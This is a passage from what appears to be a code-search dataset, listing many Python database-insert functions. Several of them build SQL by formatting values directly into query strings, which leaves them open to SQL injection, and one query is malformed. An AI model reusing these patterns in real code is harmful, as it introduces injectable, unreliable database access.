','.join(['%s'] * num_cols)\n\n\tqry = \"REPLACE INTO %s (%s) VALUES (%s)\" % (table, key_str, val_str)\n\tcursor.execute(qry, vals)\n\n\tconn.commit()\n\tcursor.close()\n\tconn.close()","def insert_row(self, row_dict):\n sql = self.commands.insert_row(\n self.name,\n self._join_cols(row_dict.keys()),\n self._join_values(row_dict.values())\n )\n return self.execute(sql)[0][0]","def do_insert_data(self, *args):\n print(\"Provide data to insert\")\n self.connection_obj.insert_into_table(**self.__class__.populate_data())\n print(\"Data Insertion Successful\")","def run_insert_example():\n table = \"actors\"\n insert_values = {\n 'id': 3,\n 'name': \"Matt\",\n 'last_name': \"Smith\",\n 'country': \"England\"}\n print querify.insert_from_dict(table, insert_values)\n\n insert_col_list = [\"id\", \"name\", \"last_name\", \"country\"]\n insert_val_list = [\n [1, \"Chris\", \"Eccleston\", \"England\"],\n [2, \"David\", \"Tennant\", \"Scotland\"],\n [3, \"Matt\", \"Smith\", \"England\"]]\n print querify.insert_from_list(table, insert_col_list, insert_val_list)","def insert_data(self):\n\n pass","def insert_one(self, data):\n _client = self.client\n _db = _client[self.database]\n _col = _db[self.collection]\n\n x = _col.insert_one(data)\n\n return x","def insert(self, sql):\n try:\n # Execute the SQL command\n self.cursor.execute(sql)\n # Commit your changes in the database\n self.db.commit()\n except:\n # Rollback in case there is any error\n self.db.rollback()","def insert_line(self, t):\n if type(t) == tuple:\n t = [t]\n\n c = self.conn.cursor()\n for l in t:\n c.execute('INSERT INTO lines VALUES (?,?)', l[:2])\n lineid = c.lastrowid\n for s in l[2]:\n try:\n c.execute('insert into relation values (?,?)', (s, lineid))\n except sqlite3.OperationalError as e:\n print e.message\n\n self.conn.commit()\n c.close()","def construct_insert(self, info):\n self.sql_type_ind = sql_type.INSERT\n self.return_result = False\n self.q_str = \"generate\"\n\n if \"items\" in info.keys() and len(info[\"items\"]) == 1 and\\\n \"columns\" in info.keys() and isinstance(info[\"columns\"], dict):\n self.columns = co.OrderedDict()\n for key, val in info[\"columns\"].items():\n self.columns[key] = val\n\n elif \"items\" in info.keys() and isinstance(info[\"items\"], dict) and\\\n len(info[\"items\"]) > 1:\n self.columns = co.OrderedDict()\n for key, val in info[\"items\"].items():\n if val != '':\n self.columns[val] = key\n else:\n self.columns[key] = key\n elif \"items\" in info.keys() and isinstance(info[\"items\"], list):\n self.columns = co.OrderedDict()\n for val in info[\"items\"]:\n self.columns[val] = ''","def insert_or_update(self, table, connection, row):\n\n # find line, if it exist\n dbrow = self.find(connection, table, row)\n\n # TODO XXX use actual database function instead of this stupid thing\n now = datetime.datetime.now()\n\n column_names = table.columns.keys()\n\n # UpdatedAt field configured ? Let's set the value in source hash\n if self.updated_at_field in column_names:\n row[self.updated_at_field] = now # XXX not pure ...\n\n # Update logic\n if dbrow:\n if not UPDATE in self.allowed_operations:\n raise ProhibitedOperationError('UPDATE operations are not allowed by this transformation.')\n\n query = table.update().values(\n **{col: row.get(col)\n for col in self.get_columns_for(column_names, row, dbrow)}\n ).where(and_(*(getattr(table.c, col) == row.get(col) for col in self.discriminant)))\n\n # INSERT\n else:\n if not INSERT in self.allowed_operations:\n raise ProhibitedOperationError('INSERT operations are not allowed by this transformation.')\n\n if self.created_at_field in column_names:\n row[self.created_at_field] = now # XXX UNPURE\n else:\n if self.created_at_field in row:\n del row[self.created_at_field] # UNPURE\n\n query = table.insert().values(**{col: row.get(col) for col in self.get_columns_for(column_names, row)})\n\n # Execute\n try:\n connection.execute(query)\n except Exception:\n connection.rollback()\n raise\n\n # Increment stats TODO\n # if dbrow:\n # self._output._special_stats[UPDATE] += 1\n # else:\n # self._output._special_stats[INSERT] += 1\n\n # If user required us to fetch some columns, let's query again to get their actual values.\n if self.fetch_columns and len(self.fetch_columns):\n if not dbrow:\n dbrow = self.find(row)\n if not dbrow:\n raise ValueError('Could not find matching row after load.')\n\n for alias, column in self.fetch_columns.items():\n row[alias] = dbrow[column]\n\n return row","def test_inserts_w_all_nulls(\n self, connection, metadata, sort_by_parameter_order, datatype\n ):\n t = Table(\n \"t\",\n metadata,\n Column(\"id\", Integer, Identity(), primary_key=True),\n Column(\"data\", datatype),\n )\n metadata.create_all(connection)\n result = connection.execute(\n insert(t).returning(\n t.c.id,\n sort_by_parameter_order=bool(sort_by_parameter_order),\n ),\n [{\"data\": None}, {\"data\": None}, {\"data\": None}],\n )\n eq_(set(result), {(1,), (2,), (3,)})","def multiple_insert(self, tablename, values, seqname=None, _test=False): \n if not values:\n return []\n \n if not self.supports_multiple_insert:\n out = [self.insert(tablename, seqname=seqname, _test=_test, **v) for v in values]\n if seqname is False:\n return None\n else:\n return out\n \n keys = values[0].keys()\n #@@ make sure all keys are valid\n\n for v in values:\n if v.keys() != keys:\n raise ValueError, 'Not all rows have the same keys'\n\n sql_query = SQLQuery('INSERT INTO %s (%s) VALUES ' % (tablename, ', '.join(keys)))\n\n for i, row in enumerate(values):\n if i != 0:\n sql_query.append(\", \")\n SQLQuery.join([SQLParam(row[k]) for k in keys], sep=\", \", target=sql_query, prefix=\"(\", suffix=\")\")\n \n if _test: return sql_query\n\n db_cursor = self._db_cursor()\n if seqname is not False: \n sql_query = self._process_insert_query(sql_query, tablename, seqname)\n\n if isinstance(sql_query, tuple):\n # for some databases, a separate query has to be made to find \n # the id of the inserted row.\n q1, q2 = sql_query\n self._db_execute(db_cursor, q1)\n self._db_execute(db_cursor, q2)\n else:\n self._db_execute(db_cursor, sql_query)\n\n try: \n out = db_cursor.fetchone()[0]\n out = range(out-len(values)+1, out+1) \n except Exception: \n out = None\n\n if not self.ctx.transactions: \n self.ctx.commit()\n return out","def insert(self, table, **kwargs):\n if 'creator' in self.get_columns(table):\n kwargs.setdefault('creator', self.user_id)\n if 'uuid' in self.get_columns(table):\n generated_uuid = (table == 'concept' and\n (str(kwargs['concept_id']) + 'A'*36)[:36] or uuid.uuid4())\n kwargs.setdefault('uuid', generated_uuid)\n\n columns = kwargs.keys()\n values = kwargs.values()\n placeholders = ['%s'] * len(values)\n if 'date_created' in self.get_columns(table):\n columns += ['date_created']\n placeholders += ['now()']\n\n self.db.execute(\n 'insert into %s (%s) values (%s)' %\n (table, ', '.join(columns), ', '.join(placeholders)), *values)\n if table + '_id' in self.get_columns(table):\n return self.db.get(table + '_id', uuid=kwargs['uuid'])","def _bulk_add_rows(self, converted) :\n\n insert_sql = 'INSERT INTO \"%s\" VALUES (%s)' % (self.name, ','.join(['?'] * len(self.cols)))\n cur = self.con.cursor()\n cur.executemany(insert_sql, converted)","def insert_row(conn, episode_info):\n\tp_key = get_p_key(episode_info)\n\t\n\tinsert_statement = f'INSERT INTO shows (p_key, show_stub, show_name, season, episode_number, episode_title watched_status, hidden_status) VALUES (\\\"{p_key}\\\", \\\"{episode_info[\"show_stub\"]}\\\", \\\"{episode_info[\"show_name\"]}\\\", {episode_info[\"season\"]}, {episode_info[\"episode_number\"]}, {episode_info[\"episode_title\"]}, {episode_info[\"watched_status\"]}, {episode_info[\"hidden_status\"]});'\n\t\n\texecute_sql(conn, insert_statement)","def populate_table(database, table, data):\n\n for row in data:\n database.session.add(table(row))\n database.session.commit()","def insert_rows(items):\n # Initialize key variables\n _rows = []\n uniques = {}\n all_kvs = []\n\n # Make list if not so\n if isinstance(items, list) is False:\n items = [items]\n\n # Create a single list of key-value pairs.\n # Add them to a dict to make the pairs unique.\n for item in items:\n if isinstance(item, list):\n all_kvs.extend(item)\n else:\n all_kvs.append(item)\n for _kv in all_kvs:\n uniques[_kv] = None\n\n # Insert the key-value pairs into the database\n for (key, value), _ in uniques.items():\n # Skip pre-existing pairs\n if bool(pair_exists(key, value)) is True:\n continue\n\n # Add values to list for future insertion\n _row = Pair(key=key.encode(), value=value.encode())\n _rows.append(_row)\n\n if bool(_rows) is True:\n with db.db_modify(20007, die=True) as session:\n session.add_all(_rows)","def insert(self, i, row, default=None):\n try: row = [v for v in row] # Creates a copy of the row (fast + safe for generators and Columns).\n except:\n raise TypeError, \"Table.insert(x): x must be list\"\n list.insert(self, i, row)\n m = max((len(self) > 1 and self._m or 0, len(row)))\n if len(row) < m:\n row.extend([default] * (m-len(row)))\n if self._m < m:\n # The given row might have more columns than the rows in the table.\n # Performance takes a hit when these rows have to be expanded:\n for row in self:\n if len(row) < m:\n row.extend([default] * (m-len(row)))\n self._m = m","def insert_data(db, metadata, data):\n with Tx(db) as c:\n lock_tables(c)\n metadata['set_id'] = _insert_metadata(c, metadata)\n\n data_iterator = iter(data)\n first_row = next(data_iterator)\n headers = list(first_row.keys())\n for table in _tables_from_headers(headers):\n _insert_data_rows(c, table, metadata, chain([first_row], data_iterator))","def add_row(self, table, row_dict):\n self.open_db()\n for k, v in six.iteritems(row_dict):\n table.row[k] = v\n table.row.append()\n table.flush()","def insert(self, tname, valdict, cols = None):\n icmd, vals = make_insert_command(tname, valdict, cols)\n self.write_curs.execute(icmd, vals)","def test_insert_or_update_query(self):\n\n row = (\n 'source',\n 'signal',\n 'time_type',\n 'geo_type',\n 'time_value',\n 'geo_value',\n 'value',\n 'stderr',\n 'sample_size',\n )\n mock_connector = MagicMock()\n database = Database()\n database.connect(connector_impl=mock_connector)\n\n database.insert_or_update(*row)\n\n connection = mock_connector.connect()\n cursor = connection.cursor()\n self.assertTrue(cursor.execute.called)\n\n sql, args = cursor.execute.call_args[0]\n self.assertEqual(args, row)\n\n sql = sql.lower()\n self.assertIn('insert into', sql)\n self.assertIn('`covidcast`', sql)\n self.assertIn('unix_timestamp', sql)\n self.assertIn('on duplicate key update', sql)","def test_issue_288(self):\n conn = self.connect()\n cursor = conn.cursor()\n data = [(0, \"bob\", 21, 123), (1, \"jim\", 56, 45), (2, \"fred\", 100, 180)]\n cursor.executemany(\n \"\"\"insert\ninto bulkinsert (id, name,\nage, height)\nvalues (%s,\n%s , %s,\n%s ) on duplicate key update\nage = values(age)\n \"\"\",\n data,\n )\n self.assertEqual(\n cursor._executed.strip(),\n bytearray(\n b\"\"\"insert\ninto bulkinsert (id, name,\nage, height)\nvalues (0,\n'bob' , 21,\n123 ),(1,\n'jim' , 56,\n45 ),(2,\n'fred' , 100,\n180 ) on duplicate key update\nage = values(age)\"\"\"\n ),\n )\n cursor.execute(\"commit\")\n self._verify_records(data)","def _addObject(self, row):\n if row.has_key('id'):\n txn_id = row.get('id')\n\n # increment transaction id\n prefix = self.context.getLedger().getTransactionPrefix()\n txn_number = int(txn_id.replace(prefix, ''))\n if self.context.getLedger().getTransactionID() < txn_number:\n self.context.getLedger().setTransactionID(txn_number)\n\n else:\n txn_id = self.context.generateUniqueId(type_name='Transaction')\n\n # create transaction if it doesn't exist\n if not self.context.hasObject(txn_id):\n self.context.invokeFactory(type_name='Transaction', id=txn_id,\n title=row['title'], effectiveDate=row['effectiveDate'])\n\n txn = self.context[txn_id]\n\n # lookup account\n pc = getToolByName(self.context, 'portal_catalog')\n brains = pc(id=row['Account'])\n __traceback_info__ = str(row)\n assert len(brains) == 1\n row['Account'] = brains[0].getObject()\n\n # create transaction entry\n entry_id = txn.generateUniqueId('TransactionEntry')\n entry = TransactionEntry(entry_id)\n txn._setObject(entry_id, entry)\n entry = txn._getOb(entry_id)\n\n row['id'] = entry_id\n entry.edit(**row)","def test_insert(self):\n query = \"insert into cds values(%s,%s,%s,%s)\"\n values = (109876,\"cinderella\",\"big 5\",5)\n self.a.insert(query,values)\n query1 = \"select * from cds where id=109876\"","def insert_retailTransactionRecord(cursor, retailTransactionObject):\n last_row_id = -1;\n query = \"\"\"\n INSERT INTO transactions(\n transaction_id,\n unit_id,\n workstation_id,\n sequence_id,\n begin_date_time,\n end_date_time,\n currency,\n quantity,\n extended_amount,\n net_amount,\n training_mode_flag\n )\n VALUES(\n '{0.id}',\n {0.unit_id},\n {0.workstation_id},\n {0.sequence_id},\n '{0.start_dtime}',\n '{0.end_dtime}',\n '{0.currency}',\n {0.quantity},\n {0.extended_amount},\n {0.transaction_net_amount},\n {0.training_mode_flag}\n )\n \"\"\".format(retailTransactionObject)\n try:\n cursor.execute(query)\n last_row_id = cursor.lastrowid\n except DBError as err:\n print(err)\n finally:\n return last_row_id","def insert_db(table, schema, value):\n cursor.execute(schema, value)\n db.commit()\n print(cursor.rowcount, \"record inserted into db: \" + table)","def insert(self):\n self.getDbRecord().insert()\n\n return","def insertQuery(self, master, row_num):\n pass","def add(table, record):\n\n table.append(record)\n\n return table","def add(self, recordid, tablerow_object, insupdel=0):\n try:\n # Add a statement\n # with recordid\n if insupdel == 0:\n self.statements_insert.append([recordid, tablerow_object])\n elif insupdel == 1:\n self.statements_update.append([recordid, tablerow_object])\n elif insupdel == 2:\n self.statements_delete.append([recordid, tablerow_object])\n except Exception as ex:\n print \"Error adding statement for\", self.table.__tablename__, \": \", ex","def test_point_type_insert_select_none_in_tuple_type(self):\n point_table = self.classes.PointTable\n session = Session(bind=self.bind)\n session.add(point_table(id=3, ptest=(None, None)))\n session.commit()\n session.close()\n\n res = session.query(point_table).filter_by(id=3)\n session.close()\n\n expected = None\n assert expected == res[0].ptest","async def insert_one(self, model):\n\n pass","async def _insert_stmt(self):\n raise NotImplementedError","def insertRow(self, index, *row):\n if ((len(row) == 1) and (type(row[0]) in MATRIX_VALID_COLLECTIONS)):\n row = row[0]\n if self._width:\n if not (len(row) == self._width):\n raise ValueError('Improper length for new row: %d, should be %d' % (len(row), self._width))\n else:\n self._width = len(row)\n self._height += 1\n # make a deep copy\n newrow = list()\n for item in row:\n if not (type(item) in MATRIX_VALID_TYPES):\n message = \"Values must be of type \"\n for t in range(len(MATRIX_VALID_TYPENAMES)):\n if t:\n message += ' or '\n message += \"'%s'\" % MATRIX_VALID_TYPENAMES[t]\n raise TypeError(message)\n newrow.append(item)\n self._value.insert(index, newrow)","def insert_data(stored_data, table_name):\r\n for item in stored_data:\r\n cursor.execute('''INSERT INTO {} VALUES(?, ?, ?, ?)'''.format(table_name), item)","def insert(self, row_values):\n if len(row_values) != len(self.columns):\n raise TypeError(\"wrong number of elements\")\n\n self.rows += [dict(zip(self.columns, row_values))]","def insert(self, field, *values):\n current_values = self.get_field(field)\n if isinstance(current_values, dict):\n return current_values\n elif isinstance(current_values, InstrumentedList):\n try:\n current_values.extend(list(values))\n except Exception as e:\n return {\n \"message\": \"Ensure the values you're inserting are valid.\",\n \"help\": \"The objects should relate to the inserted field.\",\n \"exception\": str(e)\n }\n self.save()\n try:\n setattr(self, field, values[0])\n except Exception as e:\n return {\n \"message\": \"Ensure the values you're inserting are valid.\",\n \"help\": \"The objects should relate to the inserted field.\",\n \"exception\": str(e)\n }\n self.save()","def insert_values(table_, values):\n\n # verify implicit_returning is working\n if (\n connection.dialect.insert_returning\n and table_.implicit_returning\n and not connection.dialect.postfetch_lastrowid\n ):\n ins = table_.insert()\n comp = ins.compile(connection, column_keys=list(values))\n if not set(values).issuperset(\n c.key for c in table_.primary_key\n ):\n is_(bool(comp.returning), True)\n\n result = connection.execute(table_.insert(), values)\n ret = values.copy()\n\n ipk = result.inserted_primary_key\n for col, id_ in zip(table_.primary_key, ipk):\n ret[col.key] = id_\n\n if result.lastrow_has_defaults():\n criterion = and_(\n *[\n col == id_\n for col, id_ in zip(\n table_.primary_key, result.inserted_primary_key\n )\n ]\n )\n row = connection.execute(\n table_.select().where(criterion)\n ).first()\n for c in table_.c:\n ret[c.key] = row._mapping[c]\n return ret, ipk","def insert_values(table_, values):\n\n # verify implicit_returning is working\n if (\n connection.dialect.insert_returning\n and table_.implicit_returning\n and not connection.dialect.postfetch_lastrowid\n ):\n ins = table_.insert()\n comp = ins.compile(connection, column_keys=list(values))\n if not set(values).issuperset(\n c.key for c in table_.primary_key\n ):\n is_(bool(comp.returning), True)\n\n result = connection.execute(table_.insert(), values)\n ret = values.copy()\n\n ipk = result.inserted_primary_key\n for col, id_ in zip(table_.primary_key, ipk):\n ret[col.key] = id_\n\n if result.lastrow_has_defaults():\n criterion = and_(\n *[\n col == id_\n for col, id_ in zip(\n table_.primary_key, result.inserted_primary_key\n )\n ]\n )\n row = connection.execute(\n table_.select().where(criterion)\n ).first()\n for c in table_.c:\n ret[c.key] = row._mapping[c]\n return ret, ipk","def insert(self, table, value):\n col_name = self.table_cols[table][1:]\n sql = \"INSERT INTO %s(%s) VALUES (%s)\" % (table, str(','.join(col_name)), array_join(value, ','))\n Log.debug('DB -> %s' % sql)\n self.execute(sql)","def single_insert(conn, insert_req):\n cursor = conn.cursor()\n try:\n cursor.execute(insert_req)\n conn.commit()\n except (Exception, psycopg2.DatabaseError) as error:\n print(\"Error: %s\" % error)\n conn.rollback()\n cursor.close()\n return 1\n cursor.close()","def insert(self, data):\n\n if not data:\n raise ValueError('invalid data')\n\n # TODO: validate and insert data into model","def addRow(self, row_i, data_tuple, start_col, sheet):\r\n col_n = len(data_tuple)\r\n last_col = start_col + col_n - 1\r\n insert_range = self.getRangeByCells((row_i, start_col), (row_i, last_col), sheet)\r\n insert_range.Value = data_tuple","def append_row(self):\r\n values = []\r\n vals_to_insert = ''\r\n\r\n for key in Output.COLUMNS:\r\n values.append(str(self[key]))\r\n\r\n # Replace any Quotes in parsed record with double quotes\r\n for i in values:\r\n vals_to_insert += i.replace('\"', '\"\"') + '\",\"'\r\n\r\n vals_to_insert = '\"' + vals_to_insert[:-3] + '\"'\r\n insert_sqlite_db(vals_to_insert)","def dbinsert(db,table,**assignments):\n cols = \"\"\n vals = \"\"\n values = []\n for k,v in assignments.items():\n if cols!=\"\": cols += \",\"\n cols += k\n if vals!=\"\": vals += \",\"\n vals += \"?\"\n values.append(v)\n cmd = \"insert or replace into \"+table+\" ( \"+cols+\" ) values ( \"+vals+\" ) \"\n params = list(values)\n # print cmd,params\n cur = db.cursor()\n cur.execute(cmd,params)\n cur.close()\n del cur","def add(self):\n try:\n self.active_table.add_row(Row.Row([obj.get() for obj in self.enter_values]))\n self.parent.display_content()\n self.master.withdraw()\n except UnableToCastException as err:\n messagebox.showerror(\"Error\", err)","def insert(self, data, table_name=None):\n if not util.is_clean_container(data):\n raise TypeError(f\"Bad binary type (bytes, bytearray, etc.) found in data(dict):\\n{data}\")\n return self._get_storage().insert(data, table_name=table_name)","def test_insert_many_dict(self):\n table = 'test_insert'\n columns = ['col1', 'col2', 'col3']\n\n in_vals = [{'col1': 1, 'col2': 2, 'col3': 3},\n {'col1': 4, 'col2': 5, 'col3': 6},\n {'col1': 7, 'col2': 8, 'col3': 9}\n ]\n out_vals = [tuple([row[col] for col in columns]) for row in in_vals]\n\n with self.dbh.table_recreate(table, columns, 'integer'):\n try:\n self.dbh.insert_many(table, columns, in_vals)\n res = self.dbh.select_all(table, columns)\n except Exception:\n self.dbh.rollback()\n raise\n\n self.assertEqual(res, out_vals)","def test_single_tuple(self):\n conn = self.connect()\n c = conn.cursor()\n self.safe_create_table(\n conn, \"mystuff\", \"create table mystuff (id integer primary key)\"\n )\n c.execute(\"insert into mystuff (id) values (1)\")\n c.execute(\"insert into mystuff (id) values (2)\")\n c.execute(\"select id from mystuff where id in %s\", ((1,),))\n self.assertEqual([(1,)], list(c.fetchall()))\n c.close()","def insertRow(db, col, result):\n\n # result = result.to_dict(\"records\")\n conn = MongoClient(\"localhost\", 27017)\n connObj = conn[db][col]\n for x, row in result.iterrows():\n connObj.insert_one(row.to_dict())\n conn.close()","def generic_db_insert(db_obj, db_cur, tables, key_cv, value_cv,\n where_str=None, where_args=[]):\n\n # sanity check\n if len(value_cv) != 1:\n nori.core.email_logger.error(\n'''Internal Error: multiple value_cv entries supplied in call to\ngeneric_db_insert(); call was (in expanded notation):\n\ngeneric_db_insert(\n db_obj={0},\n db_cur={1},\n tables={2},\n key_cv={3},\n value_cv={4},\n where_str={5},\n where_args={6}\n)\n\nExiting.'''.format(*map(nori.pps, [db_obj, db_cur, tables, key_cv, value_cv,\n where_str, where_args]))\n )\n sys.exit(nori.core.exitvals['internal']['num'])\n\n # assemble the query string and argument list\n# query_args = []\n# query_str = 'INSERT INTO '\n# if isinstance(tables, nori.core.MAIN_SEQUENCE_TYPES):\n# query_str += ', '.join(tables)\n# else:\n# query_str += tables\n# query_str += '\\n'\n# set_parts = []\n# query_str += 'SET ' + ', '.join(set_parts) + '\\n'\n# for cv in key_cv:\n# if len(cv) > 2:\n# where_parts.append('({0} = %s)'.format(cv[0]))\n# query_args.append(cv[2])\n# for cv in value_cv:\n# set_parts.append('{0} = %s'.format(cv[0]))\n# query_args.append(cv[2])\n\n # execute the query\n# ret = db_obj.execute(db_cur, query_str.split(), query_args,\n# has_results=False)\n# return None if not ret else True\n return None","def insert(self, value):\n # Build insert query\n into_sql = ''\n col_sql = ''\n val_sql = []\n for key, val in value.items():\n into_sql += ', {}'.format(key)\n col_sql += ', ?'\n val_sql.append(val)\n # Execute query\n self.execute(\"insert into {} ({}) values ({})\".format(self.name, into_sql[2:], col_sql[2:]), val_sql)","def insert(q, *params):\n db = Database()\n db.cur.execute(q, *params)\n ret_id = db.cur.lastrowid\n db.con.close()\n return ret_id","def insert_unique(db, klass, **kwargs):\n try:\n value = db.query(klass).filter_by(**kwargs).one()\n except NoResultFound:\n value = klass(**kwargs)\n db.add(value)\n db.commit()\n return value","def db_insert(self, table_name: str, data: dict):\n \n query = 'INSERT OR IGNORE INTO {0} ({1}) VALUES ({2})'.format(\n table_name, ', '.join(data.keys()), ', '.join('?'*len(data)))\n self.db.execute(query, list(data.values()))","def insert_record(self):\r\n try:\r\n db.session.add(self)\r\n db.session.commit()\r\n return {\"error\": False, \"id\": self.id}\r\n except exc.SQLAlchemyError as e: # pragma: no cover\r\n # print(e)\r\n # print(sys.exc_info())\r\n db.session.rollback()\r\n return {\"error\": True}\r\n finally:\r\n db.session.close()","def test_point_type_insert_select_nonetype(self):\n point_table = self.classes.PointTable\n session = Session(bind=self.bind)\n session.add(point_table(id=2, ptest=None))\n session.commit()\n session.close()\n\n res = session.query(point_table).filter_by(id=2)\n session.close()\n\n expected = None\n assert expected == res[0].ptest","def __insert(self, table, fields, values):\n\n if fields and len(fields) != len(values):\n _logger.warning(\"Incorrect number of field/values\")\n return -1\n\n if table == \"Varieties\":\n index = 0\n found = False\n while not found and index < len(fields):\n if fields[index] == \"resource_id\":\n found = True\n else:\n index += index\n if found and values[index]:\n table_num = self._match_variety_table(int(values[index]))\n\n while not table_num < len(self.variety_tables):\n # Create as many tables as needed to classify this variety properly\n current_next = len(self.variety_tables) + 1\n cursor = self.conn.cursor()\n\n cursor.execute(\n \"\"\"CREATE TABLE Varieties_{0} (\n id INT AUTO_INCREMENT PRIMARY KEY, \n resource_id INT NOT NULL, \n name VARCHAR(40), \n hash VARCHAR({1}), \n content MEDIUMBLOB,\n FOREIGN KEY (resource_id) REFERENCES Resources (id) ON DELETE CASCADE\n );\"\"\".format(\n current_next\n if current_next > 9\n else \"0\" + str(current_next),\n _HASH_LINE_SIZE,\n )\n )\n\n self.variety_tables.append(\n \"Varieties_{0}\".format(\n current_next\n if current_next > 9\n else \"0\" + str(current_next)\n )\n )\n _logger.info(\n \"Created Varieties_{0} for it is not possible to insert more rows in the previous one\".format(\n current_next\n if current_next > 9\n else \"0\" + str(current_next)\n )\n )\n\n table = self.variety_tables[table_num]\n\n request = \"INSERT INTO {table} ({fields}) VALUES ({values})\"\n\n request = request.format(\n table=table, fields=\", \".join(fields), values=(\"%s, \" * len(values))[0:-2]\n )\n cursor = self.conn.cursor(dictionary=True)\n try:\n cursor.execute(request, tuple(values))\n except Exception as error:\n _logger.exception(str(error))\n return -1\n else:\n self.conn.commit()\n row_id = cursor.lastrowid\n _logger.debug(\"INSERT REQUEST ON {0} OK. Row_id: {1}\".format(table, row_id))\n cursor.close()\n return row_id"],"string":"[\n \"def _insert_table_row(self, db: str, table: str, row: Dict[str, Any]):\\n pass\",\n \"def info_insert(tbl_mgr, table_str, row_arr):\\n val_str = \\\"(\\\"\\n\\n for col in range(len(row_arr)):\\n if col > 0:\\n val_str += \\\", \\\"\\n if row_arr[col] is None:\\n val_str += \\\"NULL\\\"\\n else:\\n val_str += \\\"'\\\" + row_arr[col] + \\\"'\\\"\\n val_str += \\\")\\\"\\n\\n return tbl_mgr.insert_stmt(table_str, val_str)\",\n \"def insert_row(self, table: str, row_data: dict):\\r\\n\\r\\n columns = \\\"\\\".join([f\\\"'{i}',\\\" for i in row_data]).rstrip(\\\",\\\")\\r\\n keys = \\\"\\\".join([f\\\"'{row_data[i]}',\\\" for i in row_data]).rstrip(\\\",\\\")\\r\\n sql_statement = f\\\"INSERT INTO {table} ({columns}) VALUES({keys});\\\"\\r\\n try:\\r\\n self.__cursor(sql_statement)\\r\\n self.__db_conn.commit()\\r\\n except sqlite3.Error as error:\\r\\n print(\\\"[!] Couldn't add record\\\")\\r\\n print(\\\"[!]\\\", str(error).capitalize())\\r\\n return\\r\\n print(\\\"[*] Record added successfully.\\\")\",\n \"def insert_row(self, tablename, fields):\\n insert_params = \\\"(\\\" + \\\",\\\".join(['?' for x in fields]) + \\\")\\\"\\n self.cursor.execute(\\\"insert into \\\" + tablename + \\\" values \\\" +\\n insert_params, fields)\",\n \"def insertRow(self, p_int, *__args): # real signature unknown; restored from __doc__ with multiple overloads\\r\\n pass\",\n \"def insert_row(table_str, attribute_value_dict): #works\\n sql = make_insert_row(table_str, attribute_value_dict)\\n #print sql\\n execute_edit_queries(sql)\",\n \"def add_row(self, row_id):\",\n \"def insert(db, table, name, row):\\n\\n # Build insert prepared statement\\n columns = [name for name, _ in table.items()]\\n insert = INSERT_ROW.format(table=name, columns=\\\", \\\".join(columns), values=(\\\"?, \\\" * len(columns))[:-2])\\n\\n try:\\n db.execute(insert, values(table, row, columns))\\n except Exception as ex:\\n print(\\\"Error inserting row: {}\\\".format(row), ex)\",\n \"def singleInsert(self, table_name, fields, field_values, field_types=[]):\\n if not self.checkTable(table_name):\\n self.createTable(table_name, fields, field_types)\\n self.transactionInsert(table_name, fields, field_values)\\n self.transactionEnd()\",\n \"def insert_values():\\n pass\",\n \"def insert(self, data):\\r\\n pass\",\n \"def insert(conn, table_info, table_data):\\n\\n sql = ''' INSERT INTO ''' + table_info \\n + ''' VALUES(''' + \\\"?,\\\" * (len(table_data)-1) + \\\"?)\\\"\\n cursor = conn.cursor()\\n cursor.execute(sql, table_data)\\n conn.commit()\",\n \"def insert(self, table, *args, **kwargs):\\n\\n values = None\\n query = \\\"INSERT INTO %s \\\" % table\\n if kwargs:\\n keys = kwargs.keys()\\n values = kwargs.values()\\n query += \\\"(\\\" + \\\",\\\".join([\\\"`%s`\\\"]*len(keys)) % tuple(keys) + \\\\\\n \\\") VALUES(\\\" + \\\",\\\".join([\\\"%s\\\"]*len(values)) + \\\")\\\"\\n elif args:\\n values = args\\n query += \\\" VALUES(\\\" + \\\",\\\".join([\\\"%s\\\"]*len(values)) + \\\")\\\"\\n\\n self.__open()\\n self.__cursor.execute(query, values)\\n self.__connection.commit()\\n self.__close()\\n return self.__cursor.lastrowid\",\n \"def insert(self, row):\\n if not self.loaded:\\n print(\\\"Database is not loaded\\\")\\n return False\\n\\n self.rows.append(row)\\n return True\",\n \"def rpc_database_insert_row(self, keys, values):\\n\\t\\tif not isinstance(keys, (list, tuple)):\\n\\t\\t\\tkeys = (keys,)\\n\\t\\tif not isinstance(values, (list, tuple)):\\n\\t\\t\\tvalues = (values,)\\n\\t\\tassert len(keys) == len(values)\\n\\t\\ttable_name = self.path.split('/')[-2]\\n\\t\\tfor key, value in zip(keys, values):\\n\\t\\t\\tassert key in DATABASE_TABLES[table_name]\\n\\t\\ttable = DATABASE_TABLE_OBJECTS.get(table_name)\\n\\t\\tassert table\\n\\t\\tsession = db_manager.Session()\\n\\t\\trow = table()\\n\\t\\tfor key, value in zip(keys, values):\\n\\t\\t\\tsetattr(row, key, value)\\n\\t\\tsession.add(row)\\n\\t\\tsession.close()\\n\\t\\treturn\",\n \"def add_row(self, row):\\n ...\",\n \"def _insert_if_new(cursor, table, data, **kwargs):\\n pk_only_data = _subdict(METADATA_PRIMARY_KEYS[table], data, enforce_key_presence=True)\\n if not _exists(cursor, table, pk_only_data):\\n log('inserting new {}...'.format(table), end='')\\n result = _insert_dict(cursor, table, data, **kwargs)\\n log('done.')\\n return result\",\n \"def _insert_dict(cursor, table, data, returning=None):\\n data = dict(_remove_nones(data))\\n cols, vals = _query_fields(data)\\n returning_clause = 'RETURNING {}'.format(returning) if returning else ''\\n cursor.execute(\\n 'INSERT INTO {} ({}) VALUES ({}) {}'.format(table, cols, vals, returning_clause),\\n data\\n )\\n if returning:\\n return cursor.fetchone()[returning]\",\n \"def insert(self, data):\\n #Check for multiple row insert and prepare for each\\n if isinstance(data, list):\\n i = 0\\n total = len(data) - 1\\n static_total = total\\n new_data = data\\n multi = True\\n inserted = 0\\n for x in range(len(new_data)):\\n if self.__scrub_data(new_data[x]):\\n pass\\n else:\\n raise Exception('Your insert data is not formatted correctly.')\\n #Not multi-insert\\n else:\\n multi = False\\n #if we are doing a multi insert\\n if multi:\\n #while we still have data to insert\\n while total > 0:\\n current_line = self.__row_id_in_file(self.current_row)\\n #calculate how many lines we will insert on the first loop\\n insert_number = int(self.rows_per_page) - int(current_line)\\n if insert_number == 0:\\n insert_number = int(self.rows_per_page)\\n #Check that we aren't at max rows:\\n if self.current_row + insert_number > self.max_rows:\\n raise Exception('Sorry, the table, \\\\\\\"' + self.name + '\\\\\\\" can\\\\'t fit all those rows.')\\n #populate first_data based on how many total rows are being inserted and how much room is on data page\\n if insert_number < total:\\n #grab how many we need to fill the current data page\\n first_data = data[:insert_number]\\n del data[:insert_number]\\n else:\\n first_data = data\\n #record how many rows we are inserting this time:\\n number_rows_to_insert = len(first_data)\\n #prepare data\\n first_data_string = ''\\n first_path = self.__data_file_for_row_id(int(self.current_row) + 